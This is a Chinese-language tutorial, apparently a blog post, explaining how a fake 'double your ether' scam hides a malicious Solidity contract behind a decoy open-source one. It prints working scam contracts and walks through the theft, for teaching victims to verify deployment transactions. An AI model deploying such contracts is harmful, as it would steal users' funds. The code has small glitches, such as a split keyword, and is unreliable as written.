如何識別在合約中隱藏的惡意代碼?
By:小白
背景概述
上期我們了解了利用tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。
前置知識
大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個A 合約並告訴受害者我們會在部署A 合約的構造函數中傳入B 合約的地址並將B 合約開源,其實我們會在部署A 合約時傳入C 合約的地址,如果受害者完全信任我們沒有檢查部署A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了C 合約中。我們可以從下圖來理解這個邏輯:
用戶以為的調用路徑:
部署合約A 傳入合約B 地址,這樣調用路徑為正常路徑。
實際的調用路徑:
部署合約A 傳入合約C 地址,這樣調用路徑為非正常路徑。
下面我們使用一個簡單的例子來分析這個騙局:
惡意代碼
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker { Vault vault; constructor(address _vault) { vault = Vault(payable(_vault)); } function makeMoney(address recipient) public payable { require(msg.value >= 1, “You are so poor!”); uint256 amount = msg.value * 2; (bool success, ) = address(vault).call{value: msg.value, gas: 2300}(“”); require(success, “Send failed”); vault.transfer(recipient, amount); }}contract Vault { address private maker; address private owner; uint256 transferGasLimit; constructor() payable { owner = msg.sender; transferGasLimit = 2300; } modifier OnlyMaker() { require(msg.sender == maker, “Not MoneyMaker contract!”); _; } modifier OnlyOwner() { require(msg.sender == owner, “Not owner!”); _; } function setMacker(address _maker) public OnlyOwner { maker = _maker; } function transfer(address recipient, uint256 amount) external OnlyMaker { require(amount <= address(this).balance, "Game Over~"); (bool success, ) = recipient.call{value: amount, ga s: transferGasLimit}( "" ); require(success, "Send failed"); } function withrow() public OnlyOwner { (bool success, ) = owner.call{ value: address(this).balance, gas: transferGasLimit }(""); require(success, "Send failed"); } receive() external payable {} fallback() external payable {}}// This code is hidden in a separate filecontract Hack { event taunt(string message); address private evil; constructor(address _evil) { evil = _evil; } modifier OnlyEvil() { require(msg.sender == evil, "What are you doing?"); _; } function transfer() public payable { emit taunt("Haha, your ether is mine!"); } function withrow() public OnlyEvil { (bool success, ) = evil.call{value: address(this).balance, gas: 2300}( "" ); require(success, "Send failed"); } receive() external payable {} fallback() external payable {}}
騙局分析
可以看到,上述代碼中存在三個合約,我們先結合前置知識中的A, B, C 三個角色來區分三個合約分別代表什麼角色:
MoneyMaker 合約代表A 合約;
Vault 合約代表B 合約;
Hack 合約代表C 合約。
所以用戶以為的調用路徑為:
MoneyMaker -> Vault。
而實際的調用路徑為:
MoneyMaker -> Hack。
下面我們來看看攻擊者如何完成騙局的:
1. Evil 部署Vault(B) 合約並在合約中留存100 ETH 資金,在鏈上將Vault(B) 合約開源;
2. Evil 部署Hack(C) 惡意合約;
3. Evil 放出消息說他將會部署一個開源的賺錢MoneyMaker(A) 合約,部署時會將Vault(B) 合約地址傳入且會調用Vault.setMacker() 將maker 角色設置為MoneyMaker 合約地址,任何人調用MoneyMaker.makeMoney() 向合約中打入不少於一個以太都會得到雙倍以太的回報;
4. Bob 收到消息,了解到MoneyMaker 合約的存在,他看了MoneyMaker(A) 和Vault(B) 合約的代碼並檢查了Vault(B) 合約中的餘額發現邏輯確實如Evil 說的那樣,他在沒有檢查MoneyMaker(A) 部署交易的情況下就相信了Evil;
5. Bob 調用MoneyMaker.makeMoney() 向合約中打入自己全部身家20 ETH,在他滿懷期待等著收到Vault(B) 打來的40 ETH 時等來的卻是一句”Haha, your ether is mine!”。
咋回事呢?其實這個騙局非常簡單但是很常見。 Evil 在部署MoneyMaker 合約時傳入的並不是Vault 合約的地址,而是傳入了Hack 合約的地址。所以當Bob 調用MoneyMaker.makeMoney() 時並不會像他想像中的那樣MoneyMaker.makeMoney() 去調用Vault.transfer() 回打給他雙倍的以太,而是調用了Hack.transfer() 拋出了一個事件:”Haha, your ether is mine!”。最後Evil 調用Vault.withrow() 將Vault 合約中的100 ETH 轉出,並通過Hack.withrow() 將Bob 轉入的20 ETH 轉出。
預防建議
以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易後才能相信對方說的話是對的。
注:本文參考自《Solidity by Example》https://solidity-by-example.org/hacks/randomness
展開全文打開碳鏈價值APP 查看更多精彩資訊